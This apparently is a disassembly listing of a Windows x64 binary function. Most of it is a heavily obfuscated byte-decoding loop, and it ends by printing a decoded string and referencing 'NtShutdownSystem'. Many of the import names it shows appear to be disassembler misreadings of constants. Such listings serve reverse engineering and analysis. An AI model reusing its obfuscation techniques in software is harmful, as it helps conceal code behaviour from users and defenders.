lea rcx, [r9 + 0x42]
cmp rax, rcx
ja 0x14013046f
lea rcx, [r9 + 6]
cmp rax, rcx
ja 0x140130451
lea rcx, [r9 + 0x41]
cmp rax, rcx
ja 0x140130435
lea rcx, [r9 + 0x5a]
cmp rax, rcx
ja 0x140130419
lea rcx, [r9 + 0x80]
cmp rax, rcx
ja 0x14013040b
lea rcx, [r9 + 9]
cmp rax, rcx
ja 0x1401303e5
lea rcx, [r9 + 0x2a]
cmp rax, rcx
ja 0x1401303bc
lea rcx, [r9 + 0x200]
cmp rax, rcx
ja 0x1401303ae
lea rcx, [r9 + 0xa]
cmp rax, rcx
ja 0x1401301a0
mov rax, rdx
lea r9, [rdx + 0x10]
jmp 0x1401301a0
lea r8d, [r10 - 0xc]
movzx ecx, r11b
and cl, r8b
mov edx, Ordinal_46
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r11b
add bl, r8b
jmp 0x140130193
lea r8d, [r10 + 0x3c]
movzx ecx, r11b
and cl, r8b
mov edx, reloc.WLDAP32.dll_Ordinal_46
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r11b
add bl, r8b
jmp 0x140130131
sub r10b, 0x7c
movzx ecx, r11b
and cl, r10b
mov edx, reloc.WLDAP32.dll_Ordinal_50
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r11b
add bl, r10b
jmp 0x1401300d5
lea r8d, [r10 + 0x60]
mov edx, Ordinal_50
jmp 0x1401309b0
sub r10b, 0x58
movzx ecx, r11b
and cl, r10b
mov edx, 0x34
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r11b
add bl, r10b
inc r9
dec rdi
inc rdi
jmp 0x1401300c2
sub r10b, 0x10
movzx ecx, r11b
and cl, r10b
mov edx, gethostname
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r11b
add bl, r10b
dec rdi
inc rdi
jmp 0x1401300c2
lea r8d, [r10 + 0x38]
mov edx, reloc.WLDAP32.dll_Ordinal_60
jmp 0x140130a22
add r10b, 0x80
movzx ecx, r11b
and cl, r10b
add cl, cl
sub r11b, cl
lea ebx, [r10 + r11]
add bl, 0x80
jmp 0x140130a53
sub r10b, 0x38
movzx ecx, r11b
and cl, r10b
add cl, cl
sub r11b, cl
lea ebx, [r10 + r11]
sub bl, 0x78
jmp 0x140130a56
lea r8d, [r10 + 0x10]
movzx ecx, r11b
and cl, r8b
add cl, cl
movzx ebx, r11b
sub bl, cl
sub bl, 0x70
add bl, r8b
jmp 0x140130a89
add r10b, 0x58
movzx ecx, r11b
and cl, r10b
add cl, cl
movzx ebx, r11b
sub bl, cl
sub bl, 0x68
add bl, r10b
jmp 0x140130ab1
sub r10b, 0x60
movzx ecx, r11b
and cl, r10b
add cl, cl
sub r11b, cl
lea ebx, [r10 + r11]
sub bl, 0x60
movzx ecx, byte [rbp + rdi - 0x18]
add rcx, r9
add rdi, rcx
inc rdi
jmp 0x1401300c2
sub r10b, 0x2c
movzx ecx, r11b
and cl, r10b
mov edx, reloc.WLDAP32.dll_Ordinal_26
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r11b
add bl, r10b
mov byte [rbp + rdi - 0x18], bl
inc rdi
jmp 0x1401300c2
lea r8d, [r10 + 0x1c]
movzx ecx, r11b
and cl, r8b
mov edx, reloc.WLDAP32.dll_Ordinal_30
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r11b
add bl, r8b
cmp r9, 0x20
jb 0x1401304d2
lea r8d, [r10 - 0x58]
movzx ecx, r11b
and cl, r8b
add cl, cl
movzx edx, r11b
sub dl, cl
add dl, r8b
lea ebx, [rdx*2 - 0x30]
jmp 0x1401309c2
lea r8d, [r10 + 0x64]
movzx ecx, r11b
and cl, r8b
mov edx, Ordinal_35
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r11b
add bl, r8b
cmp rax, 0x10
jae 0x1401308ff
lea rcx, [r9 + 0x41]
cmp rax, rcx
jbe 0x14013083d
lea r8d, [r10 + 0x78]
movzx ecx, r11b
and cl, r8b
add cl, cl
movzx ebx, r11b
sub bl, cl
sub bl, 0x48
jmp 0x1401304f6
lea r8d, [r10 - 0x54]
movzx ecx, r11b
and cl, r8b
mov edx, Ordinal_41
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r11b
add bl, r8b
lea rcx, [r9 + rax]
cmp rcx, 0x3e8
je 0x14013091b
lea rcx, [r9 + 6]
cmp rax, rcx
jbe 0x140130794
lea r8d, [r10 - 0x14]
movzx ecx, r11b
and cl, r8b
add cl, cl
movzx ebx, r11b
sub bl, cl
sub bl, 0x74
jmp 0x140130539
add r10b, 0x48
movzx ecx, r11b
and cl, r10b
mov edx, 4
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r11b
add bl, r10b
movzx ecx, byte [rbp + rdi - 0x18]
add rcx, r9
add rdi, rcx
inc rdi
jmp 0x1401300c2
sub r10b, 0x70
movzx ecx, r11b
and cl, r10b
mov edx, 8
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r11b
add bl, r10b
jmp 0x140130ab1
lea r8d, [r10 - 0x28]
movzx ecx, r11b
and cl, r8b
mov edx, recv
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r11b
add bl, r8b
jmp 0x140130a89
add r10b, 0x20
movzx ecx, r11b
and cl, r10b
mov edx, reloc.WS2_32.dll_recv
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r11b
add bl, r10b
jmp 0x140130a56
add r10b, 0x68
movzx ecx, r11b
and cl, r10b
mov edx, reloc.WS2_32.dll_sendto
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r11b
add bl, r10b
jmp 0x140130a53
sub r10b, 8
movzx ecx, r11b
and cl, r10b
mov edx, Ordinal_32
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r11b
add bl, r10b
dec rdi
inc rdi
jmp 0x1401300c2
add r10b, 0x40
movzx ecx, r11b
and cl, r10b
mov edx, reloc.WLDAP32.dll_Ordinal_32
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r11b
add bl, r10b
inc r9
dec rdi
inc rdi
jmp 0x1401300c2
lea r8d, [r10 - 0x78]
mov edx, 0x24
jmp 0x1401309b0
lea rcx, [r9 + 0x3e8]
cmp rax, rcx
jae 0x1401306eb
lea r8d, [r10 + 0x5c]
movzx ecx, r11b
and cl, r8b
mov edx, 0x3e
jmp 0x14013057b
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x140130722
add r10b, 0x18
movzx ecx, r11b
and cl, r10b
mov edx, Ordinal_46
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r11b
add bl, r10b
movzx ecx, byte [rbp + rdi - 0x18]
add rcx, r9
add rdi, rcx
inc rdi
jmp 0x1401300c2
inc rcx
cmp rax, rcx
jne 0x14013074a
sub r10b, 0x30
movzx ecx, r11b
and cl, r10b
mov edx, Ordinal_41
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r11b
add bl, r10b
jmp 0x140130ab1
lea rcx, [r9 + 3]
cmp rax, rcx
jne 0x140130761
lea r8d, [r10 - 0x50]
mov edx, Ordinal_27
jmp 0x140130a22
lea rcx, [r9 + 2]
cmp rax, rcx
jne 0x140130586
add r10b, 0x68
movzx ecx, r11b
and cl, r10b
mov edx, reloc.WS2_32.dll_sendto
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r11b
add bl, r10b
dec rdi
inc rdi
jmp 0x1401300c2
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x1401307b8
lea r8d, [r10 - 0x5c]
movzx ecx, r11b
and cl, r8b
add cl, cl
movzx ebx, r11b
sub bl, cl
sub bl, 0x7c
jmp 0x1401309bf
lea rcx, [r9 + 3]
cmp rax, rcx
jne 0x1401307e7
add r10b, 0x14
movzx ecx, r11b
and cl, r10b
mov edx, Ordinal_60
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r11b
add bl, r10b
dec rdi
inc rdi
jmp 0x1401300c2
lea rcx, [r9 + 4]
cmp rax, rcx
jne 0x140130810
sub r10b, 0x7c
movzx ecx, r11b
and cl, r10b
mov edx, reloc.WLDAP32.dll_Ordinal_50
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r11b
add bl, r10b
jmp 0x140130a53
lea rcx, [r9 + 2]
cmp rax, rcx
jne 0x14013053c
sub r10b, 0x54
movzx ecx, r11b
and cl, r10b
mov edx, Ordinal_41
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r11b
add bl, r10b
jmp 0x140130ab1
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x140130870
add r10b, 0x30
movzx ecx, r11b
and cl, r10b
add cl, cl
sub r11b, cl
lea ebx, [r10 + r11]
sub bl, 0x50
movzx ecx, byte [rbp + rdi - 0x18]
add rcx, r9
add rdi, rcx
inc rdi
jmp 0x1401300c2
lea rcx, [r9 + 3]
cmp rax, rcx
jne 0x140130895
add r10b, 0x58
movzx ecx, r11b
and cl, r10b
add cl, cl
sub r11b, cl
lea ebx, [r10 + r11]
sub bl, 0x68
jmp 0x140130a56
lea rcx, [r9 + 5]
cmp rax, rcx
jne 0x1401308b9
lea r8d, [r10 - 0x38]
movzx ecx, r11b
and cl, r8b
add cl, cl
movzx ebx, r11b
sub bl, cl
sub bl, 0x78
jmp 0x140130a31
lea rcx, [r9 + 2]
cmp rax, rcx
jne 0x1401308e4
add r10b, 0x80
movzx ecx, r11b
and cl, r10b
add cl, cl
sub r11b, cl
lea ebx, [r10 + r11]
add bl, 0x80
dec rdi
inc rdi
jmp 0x1401300c2
lea rcx, [r9 + 8]
cmp rax, rcx
jne 0x1401304f9
lea r8d, [r10 - 0x10]
mov edx, gethostname
jmp 0x1401309b0
lea r8d, [r10 + 0x60]
movzx ecx, r11b
and cl, r8b
movzx edx, r11b
sub dl, cl
add dl, 0x30
lea ebx, [rdx + rdx]
jmp 0x140130a31
lea r8d, [r10 + 0x18]
movzx ecx, r11b
and cl, r8b
mov edx, Ordinal_46
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r8b
jmp 0x140130a89
add r10b, 4
movzx ecx, r11b
and cl, r10b
add cl, cl
sub r11b, cl
lea ebx, [r10 + r11]
sub bl, 0x1c
movzx ecx, byte [rbp + rdi - 0x18]
add rcx, r9
add rdi, rcx
inc rdi
jmp 0x1401300c2
sub r10b, 0x24
movzx ecx, r11b
and cl, r10b
add cl, cl
sub r11b, cl
lea ebx, [r10 + r11]
sub bl, 4
jmp 0x140130a56
sub r10b, 4
movzx ecx, r11b
and cl, r10b
mov edx, recv
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r11b
add bl, r10b
inc r9
dec rdi
inc rdi
jmp 0x1401300c2
lea r8d, [r10 + 0x44]
mov edx, reloc.WS2_32.dll_select
movzx ecx, r11b
and cl, r8b
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r11b
add bl, r8b
add r10b, 4
movzx ecx, r11b
and cl, r10b
add cl, cl
sub r11b, cl
sub r11b, 0x1c
add r11b, r10b
mov byte [rbp + rdi - 0x18], r11b
inc r9
dec rdi
inc rdi
jmp 0x1401300c2
lea r8d, [rdi + 0x1c]
movzx ecx, r11b
and cl, r8b
mov edx, reloc.WLDAP32.dll_Ordinal_30
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r11b
add bl, r8b
inc r9
dec rdi
inc rdi
jmp 0x1401300c2
movzx r10d, dil
lea r8d, [r10 - 0x54]
mov edx, Ordinal_41
movzx ecx, r11b
and cl, r8b
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r11b
add bl, r8b
sub r10b, 0x44
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
sub r10b, 0x24
add r10b, bl
add r10b, r11b
mov byte [rbp + rdi - 0x18], r10b
add rax, r9
movzx ecx, bl
mov rdx, 0xffffffffffffffff
sub rdx, rcx
add rdi, rdx
inc rdi
jmp 0x1401300c2
lea rcx, [rdi + r13]
and sil, cl
mov edx, reloc.WLDAP32.dll_Ordinal_50
sub dl, sil
lea ebx, [rdx + rdx]
add bl, cl
add bl, r11b
movzx r10d, dil
add r10b, 0x74
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
sub r10b, 0x2c
add r10b, r11b
movzx ecx, r10b
mov byte [rbp + rdi - 0x18], cl
inc r9
add rcx, r9
sub rdi, rcx
lea r8d, [rdi - 0x30]
movzx ecx, r11b
and cl, r8b
mov edx, Ordinal_41
sub dl, cl
add dl, dl
add dl, r11b
add dl, r8b
mov byte [rbp + rdi - 0x18], dl
inc rax
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
movzx ecx, byte [rbp + rdi - 0x18]
add rcx, r9
add rdi, rcx
inc rdi
jmp 0x1401300c2
lea rcx, [rdi + r12]
and sil, cl
mov edx, Ordinal_60
sub dl, sil
lea ebx, [rdx + rdx]
add bl, cl
add bl, r11b
movzx ecx, byte [rbp + rdi - 0x18]
add rcx, r9
add rdi, rcx
inc rdi
jmp 0x1401300c2
sub r10b, 0x34
movzx ecx, r11b
and cl, r10b
mov edx, gethostname
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r11b
add bl, r10b
jmp 0x1401300c0
add r10b, 0x14
movzx eax, r11b
and al, r10b
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, r10b
jmp 0x1401300b0
lea rdx, [rbp + 0x17745b8]
jmp 0x140130b72
lea rdx, [rbp + 0x17d8c14]
jmp 0x140130b72
lea rdx, [rbp - 0x18]
lea rcx, [rbp + 0x98]
call fcn.1400046a0
mov rbx, rax
mov qword [rbp + 0x120], rax
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002bd0
nop
mov rcx, rbx
call fcn.140002a20
mov edx, 7
mov rcx, qword [r15]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
movzx r8d, word [rbp + 0x128]
lea rdx, str.NtShutdownSystem
mov rcx, qword [rbp + 0x118]
call fcn.1400069d0
mov rax, r15
add rsp, 0x1c8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret